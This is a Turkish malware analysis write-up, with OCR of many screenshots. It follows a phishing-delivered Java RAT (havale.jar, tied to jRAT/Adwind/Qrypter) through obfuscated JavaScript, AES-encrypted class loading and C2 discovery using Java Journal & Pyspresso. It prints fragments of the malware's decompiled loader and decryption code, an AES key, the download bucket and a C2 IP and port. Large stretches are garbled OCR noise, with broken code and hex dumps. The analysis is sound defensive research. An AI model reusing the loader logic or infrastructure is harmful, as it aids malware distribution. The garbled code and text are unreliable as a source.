dili olmasi sebebiyle kaynak koduna, bayt koduna rahatlikla
cevrilebilir olsa da, son yillarda ileri seviye gizleme araclarinin
(obfuscator) kullanilmasi sebebiyle statik kod analizi, giivenlik
arastirmacilar icin ¢getrefilli bir hal aldi.

Yillar gectikce, gizleme yontemi kullanan Java zararh
yazilimlarini hizli bir sekilde analiz etmek i¢in Frida gibi (Dynamic
instrumentation toolkit) bir arag kiti hala nasil gelistirilmez diye
icten ice hayiflanirken bir yandan da yeni aracglari arastirmaya
basladim. Kisa bir arastirmadan sonra Jason GEFFNER isimli
givenlik arastirmacisinin = 2016  yilinda, ozellikle tersine
mihendisler ve istismar kodu gelistiricileri i¢in diizenlenen
Recon.CX giivenlik konferansinda gerceklestirdigi Java Journal &
Pyresso: A Python-Based Framework for Debugging Java (video)
adindaki sunumuna (slideshare) denk geldim.
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https://en.wikipedia.org/wiki/Java_(programming_language)
https://www.mertsarica.com/java-bayt-kod-hata-ayiklamasi/
https://www.mertsarica.com/java-kaynak-kodu-donustuculeri/
https://www.mertsarica.com/java-kaynak-kodu-donustuculeri/
http://tr.wikipedia.org/wiki/Yorumlanan_programlama_dili
http://tr.wikipedia.org/wiki/Yorumlanan_programlama_dili
https://www.frida.re/
https://www.linkedin.com/in/geffner/
https://recon.cx/
https://recon.cx/2016/recordings/recon2016-05-jason-geffner-JavaJournal.mp4
https://recon.cx/2016/recordings/recon2016-05-jason-geffner-JavaJournal.mp4
https://www.slideshare.net/CrowdStrike/java-journal-pyresso-a-pythonbased-framework-for-debugging-java
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Java Journal & Pyresso, Python temelli olarak
gelistirilmis olup Java uygulamasimi dinamik olarak
izlemeye (dynamic tracing), hata ayiklamasi
yapilmasina imkan taniyan bir yazilim iskeletidir.

(framework)

Hem yakin zamanda elime diisen Java ile gelistirilmis bir zararl
yazilimi hizlica analiz etmek, hem Java Journal & Pyresso ikilisine
goz atmak hem de bu konuyu 16. Pi Hediyem Var oyununa
donigtirmek i¢in ige koyuldum.

Gelen siipheli e-postada yer alan resme tiklandiginda
https://storage.googleapis.com/officexel/ adresinden
“Remittance invoice.zip” dosyasini indiriyordu. ZIP dosyasinin
icinde ise beklenildigi tizere ayni isimde bir JAR dosyasi
bulunuyordu. https://storage.googleapis.com/officexel/
adresini 5 giin arayla ziyaret ettigimde dosya isimlerinin degistigi
dolayisiyla art niyetli kisilerin aktif olarak buray: kullandiklar:
gbze carpryordu.


https://pypi.org/project/pyspresso/
https://www.mertsarica.com/pi-hediyem-var-16/

From: BANKASI A.5 [mailto:kabriestore@yahoo.com]
Sent: Tuesday, September 4, 2018 2:56 PM
Subject: Emailing: Re-Confirm Details

Hello Sir,

FYI

Best Regards
BANKASI A.S
Remittance Department
Business Banking | Enterprise Cash Management

Java RAT 79



80 Hack 4 Career - 2019

@ https//storagegoogleap X \\__ Y © httpsi/storage.googleap X

&« C () | 8 Secure | hitps://storage.googleapis.com/o

< C ) | @ Secure | https//storage.googleapis.com,

i mars here on the bookmarks bar. Import bookmarks 3 Apps For quick access, place your bookmarks here on the bookmarks bar. Import bookmarks ne

Apps  For quick access, place y

This XML file does not appear to have any style information associated with it. The docume This XML file does not appear to have any style information associated with it. The .

7 <ListBucketResult xmlns="http://doc.s3.amazonaws. con/2086-03-61"> 7 <ListBucketResult xmlns="http://doc.53.anazonaus. con/2006-03-01">
ficexel</Name> <lane>of Ficexel</Nane>
<Prefix/>

ed>false</TsTruncateds tedsfalse</IsTruncateds
>

>payment details.zip</

i e calo

n>1</MetaGeneration>

2018-09-06T04: 59:24. 2152¢ /Lasthodif ied>

6fod6aa22c677a7ab74e5e8a63150e8" </ ETag>

>381800</5ize>

>Paynent details.zipc/
et o e calinls

4>2018-09-06704:59: 24.2157</Lastiodified>
ofodsaa22c677a7ab74e5e5263159e5"</ETag>

¥ <Contes
FT COPY.2ipc/Key.

153685387 309555/ Generation>
“65-10T06:03:17. 3992< /Lasthiodif ied>
914bF70001 Fochcag6505Feledaz714" < /ETa,
>a65885¢</Size>

FT COPY.zip</Key>
n>1538559397399550¢ /Generation>

d>2015-09-10706:03: 17.399Z</Lastiodified>
914bf705b10chca66505 feleda2?14"</ETag>
465885 /51ze>

</Conten

>TT COPY.zips/Ke:

>TT COPY.zips/Key
ation 1536460097453895¢/ t

Generations r>1szeaeses7493595« Generation>

Hodified> astilodified>

k slip.zip</Key>
n>1536530099065001<

>1534757026462259</Generation>

20700 -23:46.4612</

. 2015-05-20709: 23:46.461Z</Lastliodificd>
4105cda8700b204e2 5009 2B T84

(41898 F00b204e9500008eCF8A27E ",

gpRDejgan2. vbs</Key>
ation>153621312683451/ Generation>

neration> aGeneration>

Hod 105:52:06.8582¢/Lastiodifiad> ¢ odsricdaets. o- o6 00 a108 8547¢/Lastliodified>
a»“A(chbEFB7QEel7BalEEEISZS:7AaBu3"< ETag> "acAcrbEfa718e170x16ee1528c74a023" </ ETag>

/size>

gpRDejqan2. vbs</Key >
3ti0n>1536213126854591¢ /Generation>

esult>

Bytecode Viewer araci ile sayfada yer alan havale.jar dosyasini
kaynak koduna c¢evirdigimde iginde c¢ok sayida farkli uzantili
dosya oldugu dikkatimi ¢ekti META-INF/MANIFEST.MF
dosyasinda yer alan bilgiye goére ana smif dosyasinin
com.uncomeliness.thirsted.Battakhin oldugunu o6grendikten
sonra bu dosyaya gbdz atmaya basladim. Battakhin.class
dosyasina baktigimda icinde cesitli islemler yapildiktan sonra
javax.script.ScriptEngineManager sinifi kullanilarak gizlenmig

olan JavaScript kodu caligtiriliyordu.


https://bytecodeviewer.com/

[ Bytecode Viewer 20.11 - hitps:/fbytecodeviewer.com | htpss//the bytecode.club - @Kenloch
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T ) i

File View Seitings Plugins

earch from |All_Classes

e -
Search String
[ et
Search
® Root

Files Work Space
N"PE( ’:: o com funcomeliness thirsted/Battakhin.dass x
Angelicaness. ala * [Flesect [ & " t [ Exact
::m:?;;”:;f" 1D-GUL Decompier -Editable: fakse Bytecode Decompier -Editable: false
AT schnabel = myxosporidian(); (& ‘e class com/uncomeliness/thirst <
Aphelinus. cay 1 2 <ClassVersion=50>
Asshole.ary 3
Autoluminescent. fi public static void pituicyte() public static java.lang.
Avicularium.gis i public static java.lang.
Babesias.cim facultize = new 5 schnabel) ; 6 public static jeva.math.Biglnte
Baking. fra ¥ 7 public static byte[] rackboard;
Barbre.gid public static java.lang.5cr
Barter.yao public static void presubmitted() public static java.lang.
= | Battakhin,dass T bublic static java.lang.
- - Beoninoniv 7 nilligal(); public static java.math.BigInte
. predrive(}; static byte(] schnabel;
[Quick e ) 1 static java.lang.
= public static void milligal() static javax.script.Scri
carc

1
aglipayan = new ScriptEngineManager() :
public static void predrive ()
1
haroseth = aglipayan.getEngineByName (facultize);

1

public static veid secondary()
throws ScriptExceprion
1

unhackled() .eval (oidium) ;

7

4 ]

invekespecial java/lang
return

public static onmun(java.lang.S
new java/math/BigIntege

dup
2loado
bipush 26
invokespecial java/math
2 areturn
<[ v

eval() fonksiyonuna gelen oidium degiskenini ekrana basmak

icin kodu degistirip, tekrar derlemek ve calistirmak yerine Java

Journal

aracindan faydalanmaya karar

verdim. python

javajournal.py -jar havale.jar -include javax.script.” -begin

com.uncomeliness.thirsted.Battakhin

komutunu

caligtirdiktan kisa bir siire sonra ekrana eval() fonksiyonuna

iletilen JavaScript kodu kargima ¢ikmais oldu.
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" " " 1

B C\Windo: cmd.exe

Listening for transport dt_shmem at address: pyspresso_Hmo+cumg

~ void
oid
~ (jdk.nashorn . api.scripting.NashornSeriptEngine> [1D 171
javax Soript.AhstractioriptEngine getSeriptContext(ihis: Cjdknashorn.ap
i 21 IIIIIIIIIIIIIIIIII ATTAIITild
IIIIIIIIIIIIIIIIIII)lI)II)IIllIl (’ qua. en“’tel~p'+‘

gt e, H e+ ea’ qt’+*ions.’ +’stan’+’dar’ +’thoots’ +' t* +’p

IIIIIIIIIIIIIIIIIIIIIIl)llII'

TildilITi
IIlIlIIlI)Il)I'

el 111111111111111111111
c:us| | 10315 va.lang.ref lect -Arrayl<’ne’ +*ulnstance’
i TTIT341 11194143115

S

IIII
en’ +'§° +

¥
lIIIIlIIlIIlIIllIllIllllIIll
.]aua io.DatalnputStream(l

ili. '), IIIIIIIIIIIIIIII ypto.Cipher[(’ get’ +
t’f'ance 21CCAAES 235 TIII 111111111111 IlIIlIIlIIlIIlIIllllI
I1iilliilC'g”+" '*‘tByt’“e.")](('UTF* & I1iliillilill new javax.crypto.spec

T CET ChS MeLhod S CIZSSS mEmE:

I
ii
11
II
IIi i
iIilll
IIIII

class_name = re.search(

=
= self.di.reference type.get_signature
. event.location.class_id)) .groups () [0]

class_name = class name.replace("/", ".")

od's details.

=) method = self.di.utils.get method(event.location.class id,
event.location.method id)

e

JavaScript kodunu anlasilir hale getirdigimde Cellulipetally.sci
dosyasiin AES ile sifrelenmis oldugu ve sifresi ¢oziildiikten sonra
gah§t1r11d1g1 (Header class) anla§1hy0rdu

£ (germast 2ot

(grerstciass’) 105

1 latrradrs e 4 had ") ) ("

andarthon® 4" tatrap®), ("Header ), [[(*-en'+ cryptad’), (" not-spli+'te
iy i1, thos, 2058, 058, 0221 (i

LU T I L LTI mewinesa+ nce )] 0 £7)
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va-lang syeel (TTEE 117

=t o N
Jau, Class( (*fomana) ] (" cliness.thirated.Battakhin'))s
2 ("gecClassioader')] 1 :

5 astancsion(or) (

ool

AES Sifreleme

CTinjava.lang.reflact Aezay[ (‘newTnstance’) ] (&,2) 7 Kullanimi

ures) 1 (al s
i beal (*cpenscresm’) 1 (17
© benewjava. i DetaTnputstzean(b) s

S blCreadmully') (e
Savax. crypro.Cipher [ ('gecinstance) ] (('A88")) 1
[ ("getnyses) 1 ((1UTF-81))5
bemew javax.crypto.spec.SecretzeySpec(a, ('AES'):
A(("i1e0) ] (javax.ceypto.Ciphar [ (*DECRYPE_MODE') 1, b) 7

=al('gstciass')10;
5 AES Anahtari
a-a((*gatbeciaedbotho’) ] ((‘defineClazs'), €TT, by &, a7
00 setAceasziblat) ] (o)
al("invoxe")1 (b, a, &, 0, al('lengsh'}l}s
a==a)
&
a=(1(qu: iso.x - ), (*Hoador'), [[(*.omceypsed) , (*
(" not-comprassed’) , (* -not—tixed")1, L(' i < i e m
0:bcal (*lengeh') 1:b44)

atammn;

al('newinstance™) 105

B Bytecode Viewer 29,11 -
File View Settings Plugins

| hittpsy//the.bytecode.club - @Konloch

Files Work Space
BT
Boomngly.mut ipealyss x |
Bradyuria.mel @ 0l 02 03 04 05 05 07 08 03 0a O0b Oc 0d Oe OFf
Caigrapher.spa
Calorite.ai le 49 1f 23 1f Se dd 47 97 b9 df 8 Bf ef
Candiebal.ek 00000001 af 61 B9 62 31 53 e0 85 77 71 b7 dL §7 90
Cantaliver.mis 00000002 7a Te 02 2f 30 3c 94 35 54 ed fe 20 lc Of
Capelane.ass 00000003 3a 28 A0 49 a4 1 e7 BE bo Tl b6 69 e 67
Carpium.rux 00000004 ccoae do £0 fa 51 c6 £3 bo b dc 64 a5 43
Catalases.foy 00000005 03 17 7d 76 D 7 44 a3 47 of b 4z Ib 6L
Catastrophical.rie 00000005 ©3 35 77 bB £3 27 3a 6a df le 21 95 £6 a2
Catcall.sey 00000007 2E LE 65 46 93 47 7E al e6 4d Oc le 68 £€
Cattect g 00000008 ab cl 4b 58 85 e9 af 6c 92 a8 ad e6 65 df
Celuipetaly.sai 00000008 £8 lc Oc 23 27 de 43 §7 49 6a la 49 ba 60
GE2ar 00000002 3e e0 ©6 36 59 21 bd 55 67 13 40 7L 07 3
Cheneviste.nth [ | ggogooos 45 09 03 79 7d £8 9F 26 ad el 10 48 o6 eb
] D | ooosoooe la St 83 67 BE 32 20 3t b7 25 56 16 b6 52
Quick file search (no fie extension) 0000000d 64 90 61 eb d9 a5 0c b6 17 o9 o8 a3 68 o6
[ Exact = e 00000008 4l £h 26 3b 4a Ob 28 48 fe za al Tf 54 Sb
00000008 95 16 7d Oe £8 09 3a SE 6f 10 78 a9 §6 1L
Search 00000010 al c6 eb 85 71 49 5L 52 45 ee 38 bb b5 £d
ST prrm— 11| |ooooo011 6b 14 bd ee Sb 13 50 e? 24 o6 44 £9 TE 54
00000012 73 az 76 £6 14 34 79 15 78 3e 00 4c 57 76
4oc = || |o0oono13 00 b3 d2 £8 3d c7 c6 08 15 47 ad £z 3L 06 E 1
Search String: 00000014 B dc fd 52 Sf b 3L 82 Se 54 25 d8 04 OL R 2 °T:
00000015 50 de 68 95 18 61 9c ee £ 8b ae 9c of Te n PR e E
[]Bact 00000016 13 60 e5 0a 98 £4 94 ae 3= 13 40 4a 3L b2 1 > L
Search 00000017 22 e7 b9 80 ze 2f 21 52 c2 fc Oa 70 36 06 m R p
® Root 0000018 37 &7 78 af fe 23 c0 $8 02 67 93 2a 75 e3 ) 7x Xgou
00000015 57 6f b6 5a e7 eb b3 a8 2c ad 3f 43 3L 8b ynWe ., 71
0o000La 92 87 a5 76 17 04 ab £7 Il 4f a4 8 ab fa v
00000010 33 60 73 45 £4 60 75 Sa 1L 57 Sc 1d 83 b7 _ 3= ouzowy
00000016 &8 09 60 e9 96 15 7e 23 eB 8b 16 6L 22 55 R -t
00000014 58 28 £ bD 96 54 6f 04 33 fd 56 3b 1L b cx{  To 3 v (
0000001 0d £7 fa £4 14 75 do dd 16 44 bh 42 d2 9o x u DB
0000001E £5 0f 60 03 £8 8b 55 ez bS 86 63 45 bb 54 T U iFm
00000020 29 87 71 B 6c 4d 5d 74 b9 14 OF 04 11 oo JECLST
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@ Online Tool for AES Encryption 2. X+

C Y @ htps//wwwdevglan.com/oniin es-encryption-decryption

@ He

Career.Infor- [ Linkedin W Mert SARICA (mer M Inbox - mert sarical
AES Online Encryption AES Online Decryption

Enter text to be Encrypted Enter text to be Decrypted

Enter plain text to hash 8BF2E98B4EBE2831618877E44F61594452C9F57BD3B681F8EE

DC2EF1863C88286B93011A13F89B847436FACB227663050FE 14
CAF9ET7097C35C0210A9CE389FC5018118242206690ABOFDDB6
9CCFCY815F3A78DE62716A887FEDDFD3CFES401159295FB633
3BDY333F6BEGS311D9I33BEA38305312AACD01BCAB4

4 7
OR
Input Text Format: ©Base64 ®Hex
Choose File | No file chosen
[atatiasins Select Mode
Select Mode ECB v
EcB " | Key Size in Bits
Key Size in Bits 128 v
ol " | Enter Secret ey
Enter Secret Key iIMQojTwXSocZmJZ

Enter secret key -
Decrypt

Output Text Format: ®Base64 OHex
AES Decrypted Output (Base64)

Enci
el YWB6VOAAADIBCICAIQOAHQB+CaAMAHBIAIAHAIEHAIIAIMIAIQI
AES Encrypted Output AIUIAIYIAICIAIGIAIKDAADd2AgAIgoAAQCLBWCMCQABAIOIAIAIAIS
IAJAIAJEHAJIKABCAKWOAFWCUCGAXAJUJAAEAIGQOAFWCXBWCY
Result goes here CQABAJKKAAEAMGOAAQCHCQABAJWKAAEANQOABYCECIABAS

8KABOAOACAOQQACGOAJgCICACKBWBACGAJAKUKAKYADWSAEQ

ode to Plain Text

Ep®

File Edt Search View Encoding Langusge Settings Macro Run Plugins Window 7 X
sHHBHBl 4D nyg xx BRE [ EDELo® EENBEB
Elmfibsnz s 3] B e 1 3] b rerace oy 3| Bl evertspy 3] I jveioumalpy (3] Elnew 2 w361 |

yvésvgmnlm:qmqnmlgs;cg}manammmzmllmmgmnmvmcmqmknmmzaqmqomﬂcqnmumgmsmmm B
AFWCKBWCYCO) AAQCBCS Ang: CACKBWBACgAd
ARURRKYZpwsAEQCoBWCDBwCaBWCEC 22rQoALwCUBWCTCOAGALAK: CGCOALUT. OWCSBWCECOASAL
BWCAC 1 T2 JmXNA YXRD
b25BCHB1bNRD=ALAE kxqYXZaL 3Ry2HSROWE 11208KzZn1 AEU: BL2xRbmEvQ2XRCI
nnmfzcmybamnnphz5l:bz1haw4uanw F2¥58zZWN1cml YW i1 v £b2 JmdXNS YXRL
20Uy YWR1ZAEAE 1 tHAME2YS 9sYWSNLINO: 1 11
RpbC 12082 TAEIpbme THO: h12xhbs e
NO YW THEWVGE L T1 i ORS0CNIEY
SROOXGYXZAL oyl Ymp1Y3Q7AQANZGV cn1wdESL amV]dAEROShMamF2YS S Copy.
2y SPYmp1¥3Q7KURYRZAL2XAEMeT 2T G 2N 00 1ACA1QCA1QEABIRIY3JSCHQBACKOTGERG Paste
XhbmcvT2 TqZRNOCY1bG ACT i
SGVnz 72 nL2XRbMCVT: F: WSnLiNocmluzweACisipmige OO
9:cﬂchaHlZAEa.C:\.S\l.hSQ:Zml4ZWQBB.CJJbZvvdwsjbzll)JGluZ)CNzLZlISbWEﬂ.DE‘Y:nlpczg’\chJLBQBlYZE:L Select All
s Begin/End Select
Twem J1¥x MD2FKZXT
AG9YLnI1¥X] Mb2 FXZXTIMSQRAQATCXVAL Style token 2
= 2 it Remove style »
R D IMQWASQDGA Baseb4 Encode Plugin commands b
21vL0%ianV3dEL
CA2AWA+QDEBWD! E s Google Search
AQEEAQUEAWEEAQAAanF2YS91dG1sL 3ppeCoRNk1QSHS waXRTARI1YNG Copy Text with Syntax Highlighting
MSbU1£SThIVOITRZ1 UPPERCASE
OUCwemxtTOFSVW1KeG1EADEQTn] ZCFZKV RaTVNRZGgwe) SY2NIVIEQSFNAiBZVESON 1
ssqusZEdeUlﬂY]‘BaclllﬁTerSZVxOTZvSITcysnlmdF]vdmkuUWhLVTthWZnﬂdeENplﬂ]ldequTlEoGp
EWSRLIROGmSSY  Toggic Single Line Comment
um 1 BQCMAQ ACm31ZnVzY2F YWR1CQEAE] cManF
1 nL21vLO1ERXN: QAnamF com1 mxnz  Block Comment
90b1H1 0aG1FeGN1 jonl V4TIV Block Uncomment
Y2tTaXplRXh3 GRganF2 Yoy 1 CEQYXZAL2 ¥hbmev2xh
TCAQATamF2: QELDmA1ENSTXN: JAZKC1ManE: ONSYXNZTGERZGW  Hide Lines
TGINZGVYOYL QACKE n. 3RyaNSnOYV1ManE. YHSDLINOCT1uZ0J1aNxkzZXI
ACAW1 sZGVYOWEACHR ManF: L5 5hMant. 1 JTGphdnEy
JaGT 1 v3Q XNVBHZ1Q2
AC25140. 1 E: 09 1b2FkQ
o i e e el A 3RyaW5n0l chanF: YXNzOY1MamF2YS9sYH
SAL3I1ZmalY3QUIW 011dCnvzAE AOSnMamE: 091

Normal text file \ength 666 lines:1 Ln:1 Col:1 Sel:6696|1 Windows (CRLF)  UTF-8 NS



Window

@Eo

Hrew?

File Edit Search View Encoding Language Settings Macro Run Plugins

BB ha@ldhh| e syl xx| EE

ErgpRDeigan2vbs | Elnew 1 21| debug interface sy (3

Ha® @
Elnewayﬂ

o

Bleverts py 3| Bliavaloumalpy 3
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3Nt T - .

TCE =R INULTF F Bt~ O]

ExceptionsEHIN

5 (Ljava/lang/String;Ljava/lang/String;) [Ljava/lang/Ob]ect ; GGl

9 (Ljava/lang/String; [Liava/lang/Object;) Liava/lang/Object;

0 decryptObjectE)

(Ljava/lang/5String: [Liava/lang/Object; ) [5Ek0E SmEmm| TR

enterprise/reagror/reagtions,
lang/Stri

1init:

i ava/lang/Ob:
-spli
com/uncomeliness/eymas/Arryish. pre(EEIENM" com/ uncomeliness/ thirsted/Dang . dos EREI
lenalhgde

.not-fixedEeE

(com/uncomeliness/

-enterprise.reagto

5qua.enterprise.reagror. reagrions. @

java/util/Map@EEl SOz

.Loader$l

r.reagtions .Loaders1§1 a terprise.reagror.reagrions.

enterprise.reagror.reagrions. java/lang/!

java/lang/CL

Ljava/lang/Cbject; EEEI

java/lang/ClassLoade rERRIRREDq: 514 . c1 65 IEMIED)

[xE4]50H]
Bl 2va/1o/ObjectT
T

java/io/Byts

javax/crypto

3ava/util/zip/GZ

/3ps javax/crypto/C:

Ii io/Data

VSECQWLIuOESsYCSmMmT hx91LnjZ9gaEvLdnBL VDLNTi£CT KRTVhDIZ. ILVAOTU7ESGOr ImOARU1 JxmDE
LPHYpVIWT: 1c3 1] {ToHSO 39KSbEXWE 9Aa 1dWLFAGRUQa0ZSTVO3 kKuqg 601K rKMPOYavi 4QRETX
Y £nWRqEC13TCH7xAMDE I KXT3AKLI oC0 R NRBS BT # com. uncomeliness. thirsted. Bat

E: ti

1leng/Throwabl java/lang/Runci

bootstrapEeRl

(UL Ljava/lang. g

java/io/ IOExc

java/securicy/InvalidieyExcepti java/security/NoSuchhlgorithmExcepti

javax/crypro/IllegalBl

javax/crypto/BadpPaddingException GEl

javax/crypro/NoSuc

()Ljava/lang/Object:|

@ (Lyava/lang/String; [Liava/lang/Class; ) Liava/lang/reflect/Method;

ava/lang/reflect/Method

i java/io/ ()Liava/lang/
(Ljava/lang/ClassLoader;) (Ljava/lang/String:)Ljava/lang/StringBuilder:
ERERED (C) Ljava/lang/Stri lder, ()Ljava/lang/Scring; EEENEMENCeT ineClasEREENMT (Liava
/lang/String; [BITLjava/security/ProtectionDomain; ) Liava/lang/Class; quals| Ljava/lang/Object;

i (Ljava/lang/Cbject; [Liava/lang/Object;) Liava/lang/Object ; ERENNMEMAg -t EREERMs (1java/lang/Object ;)
Ljava/lang/Ob: (IB: (Ljava/io/ )V
readOb: 0L (Ljava/lang/Strine Ljava/io/InputStream
B (1B)T java/lang/!
arraycopy@EEINM~ (Ljava/lang/Object; ILjava/lang/Object ; 1) vESE MU@cet InstanceREIEM) (Ljava/lang/String; ) Ljavax/eryp

Normal text file length:5.022 lines: 75 Ln:75 Col:72 Sel:4842|75

File View Settings Plugins

Windows (CRLF)

UTF-5 NS

Files Work Space

= Cellipetaly_dec.class Jdass X

e

*

=3 enterprise

[ Exact

- 8 reagtor
=5+ §3 reagtions
-} standartbootstrag
= Header dass

1D-GUL Decompier -Editable: fakse
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypro.spec.SecretKeySpec:

S

decrypted_payloadi.dass
havale jar

public class Header

1 extends
228 |
private static scationAppendix ECgwLiu0EsY:
private static rstClassName = "com.uncomeliness.Chir
private static firstClass;
private static Protectionlomain FirstCl SonDomain;
4 i public static § CAT_bootstrap = "bootat:
public static 5 CAT_cbfuscated
[ Exect public static final [1 predefinedClassNamesToBeLoaded = { "L
private static ¥z {]> obfuscatedEntryList;
Search
carch from | Al Classes public Header ()
throws

LoC

Search String super
[ Exact hi
Search 8 .
® Root g Strz = strl + '.' + predef;
10 t localGbjectl

str

4 for (str3 : arrayOfString)

byte[] array0fByte = decrypt(str3, getEntryData(CAT bootstrap, 3trd)

m

Header.class dosyasinda ise bu defa AES ile sifrelenen com/

uncomeliness/cymas/Arryish.pre

com/uncomeliness/

5
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thirsted/Dang.dos ve com/uncomeliness/thirsted/

Rhizomorph.box dosyalarinin ¢oziildigini gérdim.

[ *new 2 - Notepad++.
File Edt Search View Encoding Language Settings Macro Run Plugins Window 7

chHHB LBl 4 HD|2c| thig 2| ER] EoEphoe BELBE

& rgpRDejgaw2.vbs 3 I Brew 1 dl [H debug_interface py .3| Heventspy d| Hiavaioumalpy £3 EHnew2 8 |

32 public Header()

33 throws Exceptien

34 t

35 super (Header.class.getClassloader()) :

36 Tyl (Map) ject ("#", Wew Object(] { { " T ".compressedr,

os",

gda3Vxk” });

String[] arra

yofstring = {
se.reagror. reg

=
String stri qro agrions. stan
String str2 = strl + '.' + predefinedClassNamesToBeLoaded ([0
Object localObjectl = null;

Class[] arrayOfClass = new Class[arrayOfScring.length];
int i =

String str3:

for (str3 : arrayofstring)

i

byte[] arrayOfByte — decrypt(str3, getEntryData(CAT baotstr
Class localClass2 = arrayOfClass[(i+#)] = defineClass(str3, fByte.length,
firstClassProtectionDomain) ;

if (str2.equals(str3)) {

a3 localObjectl = localClass2:

50 3

51 3

52 for (str3 : arrayOfClass) {

53 resolveClass (str3) ;

54 }

55 2?7 = (ClassLoader) {(Class)localObjectl) .newInstance ()

56 Class loealClassl = ((ClassLoader)???).loadClass("qc 1

57 Method localMethod — localClassi.getMethod("main”, new Class[] { String[].class });

8 localMethod.invoke (null, new Object[] { mew Stringl0l 1):

53 }

60

61 public static Objectl] getEntryData(String paramStringl, String paramString2)

62 i

63 String str + ing2; L
Java source file length 15625 lines 126 Ln:20 Col:20 Sel:0]0 Windows (CRLF)  UTF-8 NS

Bu ii¢c dosyay1 da birlestirip sifresini ¢ozdiikten sonra ortaya JAR
dosyasi icinde bulunan sifrelenmis 251 tane class dosyasi ve
bunlarin AES sifreleme anahtarlar ¢ikti.
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File Edit Disk Options Tools Plugldns Window Help [ [=]=]

ZSEBB LHCAR(9C AAGHI @

PEEs Headu @8 [(somn :
oL 23 < B s 7e > j 7 ‘ Dae
8| lloooooooo 2c b 00 05 73 17 62 61 76 ..sr..java.u (R EBEER
%||loocooo14 74 69 ec 2E 4c g9 6B 65 64 48 61 til.LinkedHash [J
2[llocoooo2s 4D 61 70 34 co 10 6C ©O FB 02 01 Map4.N\.Ll. 5 uintd 105
= llooooo042 sa 00 0B 61 63 73 73 4F 72 64 72 Z..accessOrder s 28265 E
“[[looocooose 78 72 00 11 ea 61 2E 75 74 69 2E xr..java.util. GEnsy 2803
00000070 48 61 73 68 4D 05 07 pA cl €3 1 &, HashMap. .. 3 e L5=0e33
00000084 D1 03 00 02 46 6c 61 64 46 61 63 =< RS
00000098 74 6F 72 48 00 68 65 73 68 6F 6C torI..threshol iy A
00000112 64 78 70 3F 40 00 01 80 77 08 00 dxp?@-.-.--.w-.. uint64 - 8314005383138...
00000126 00 02 00 00 00 74 18 6F 62 66 75 |-ccomoe t..obfu halfifost 6364 .
00000140 73 63 61 74 65 F 71 33 31 34 2F 41 scated/qt314/a =
00000154 2E 63 6C 61 73 5 79 13 5B 4C 6A 61 .classur..[Lja ERResdaiic
00000168 76 61 2E 6C 61 6E 67 2E 62 6r 65 63 74 va.lang.Object
00000182 3B 90 CE 58 9F 10 73 29 02 00 00 78 70 ;..X..s)l...xp 7
00000196 00 00 00 04 75 72 00 13 4c 6a 61 76 61 .ur..[Ljava
00000210 2E 6C 61 6E 67 2E 53 74 69 6E 67 3B AD .lang.String;.
nnnnn224 no cec ©J Do 1n 7D A7 N2 nn_Jo _7In_0on_n0n 1r Le - i
[ Anyish-Dan
Ysrwewes [ VA /@B E 2 AR B B[R [ omparc Results [ DEEES
* +
Member 3] Value (dec) # Value (heg & Size [8) Type Source 3] Count [0 Count [§) Target 3] Count [
: gl i ] r
El 3| B compare | % Checksum | ) Find | 49 Bookmars | [ Output |
Ready Cursor: 55 Caret: 19 56792 bytes OVR MOD READ

File Edit Disk Options Tools Plugns Window Help

22025 | {HEAE|7 g

Zses e nnu g8 AES ile
EAENEE Sifrelenmis 789ABCD
g||looooosso 65 64 2F 50 &5 Dosva ed/petites.nis
<||looooosss 72 o0 22 63 sF Y t."com/uncomel
£||floooo1008 69 6E €5 73 73 iness/thirsted
5| [looooi022 2F 43 68 /Chob.hedt.#co
" ||locooi036 6D 2F 75 6E €3 6F 6D 65 6C 69 €& 65 73 73 m/uncemeliness
00001050 2F 63 795 6D 61 73 2F 4D 61 75 76 65 74 74 /cymas/Mauvett
00001064 65 2F 6A 65 74 75 71 00 7E 00 OE 00 00 00 e.jetug.~-...- uint32 825520689
00001078 04 00 00 06 99 00 00 05 30 00 00 05 20 00 ... 0 [ LlE 2L A
00001092 00 07 99 74 00 10 .t 4 wniGlz  7BPSGIGOAR s
00001106 74 00 18 6F 62 66 half float 12680, -
00001120 73 63 61 74 65 64 2F 71 74 33 31 34 2F uscated/qt314/ Expression Calc
00001134 45 [ZE 63 6C 61 73 73|75 71 00 7E 00 04 00 E[classjug.h..-
00001148 00 00 04 75 71 00 7E 00 06 00 00 00 04 71 ...ug.
00001162 00 7E 00 08 71 00 00 09 71 00 7E 00 0A .~.. .
00001176 71 00 7E 00 OB 75 00 7E 00 06 00 00 00 g.~..UQ.%.....
hnnntion as 74 nn oan g3 ew hw 75 év c3 Ep &n 65+ kcomluncome
By Ay Dan..| e
Sifresi
stucwres[. @/ AMIBHAA BB 251 instances of *.class" found in C:\Ust Coziilen
+ *
Member @) Value (dec) 2 Value (hex) #*  Size 9] Address ) Length fo] Length [ Dosyanln Adi
00000154 6 06
00000416 6 06
00000576 6 06
00000898 6 06
§ 00001135 6 06
= nnantaRL 3 e o
A < i L
3 3| B compare | & Chedoun 3 Find | 4 Bookmrics | (B ouput |
Find All Complete. Cursor: 1007 Caret: 1098 Sel: 16 OVR MOD READ

Tim bu class dosyalarinin sifresini ¢oziip incelemeden once
Google’da ve Twitter’da kaynak kodundan elde ettigim qt314 ve
qua.enterprise.reaqtor.reaqtions.standartbootstrap anahtar
kelimeleri ile ufak bir arastirma yaptigimda, Fortinet’in New


https://www.fortinet.com/blog/threat-research/new-jrat-adwind-variant-being-spread-with-package-delivery-scam.html
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jRAT/Adwind Variant Being Spread With Package Delivery Scam
ve Jeff ARCHER isimli giivenlik arastirmacisinin Qrypter isimli su
makalelerine denk geldim. Ozellikle Jeff ARCHER' mn yayinladig:
Qealler isimli son makalesini inceledigimde, havale.jar isimli bu
zararli yazilimin QUAverse Research and Development isimli Tiirk
oldugu dustiniilen bir grup tarafindan gelistirilen bir Java RAT
oldugunu 6grendim.

QUA is everywhere!

You will never forget the comfort of our service.

Know

©QUAverse Research & Development 2017 Powered by QUARSD.

Bu zararli yazilim tarafindan iletisim kurulan IP adresini tespit
etmek icin ise java.net.URI sinifini Java Journal araci ile dinamik
olarak izlemeye bagladiktan kisa bir siire sonra iletisim kurulan
IP adresini ve baglant1 noktasini (144.217.149.63:2018) tespit
edebildim.


https://www.fortinet.com/blog/threat-research/new-jrat-adwind-variant-being-spread-with-package-delivery-scam.html
https://twitter.com/jeFF0Falltrades
https://www.dropbox.com/s/ifkowqp6kpkph0g/Qrypter_Notes.pdf?dl=0
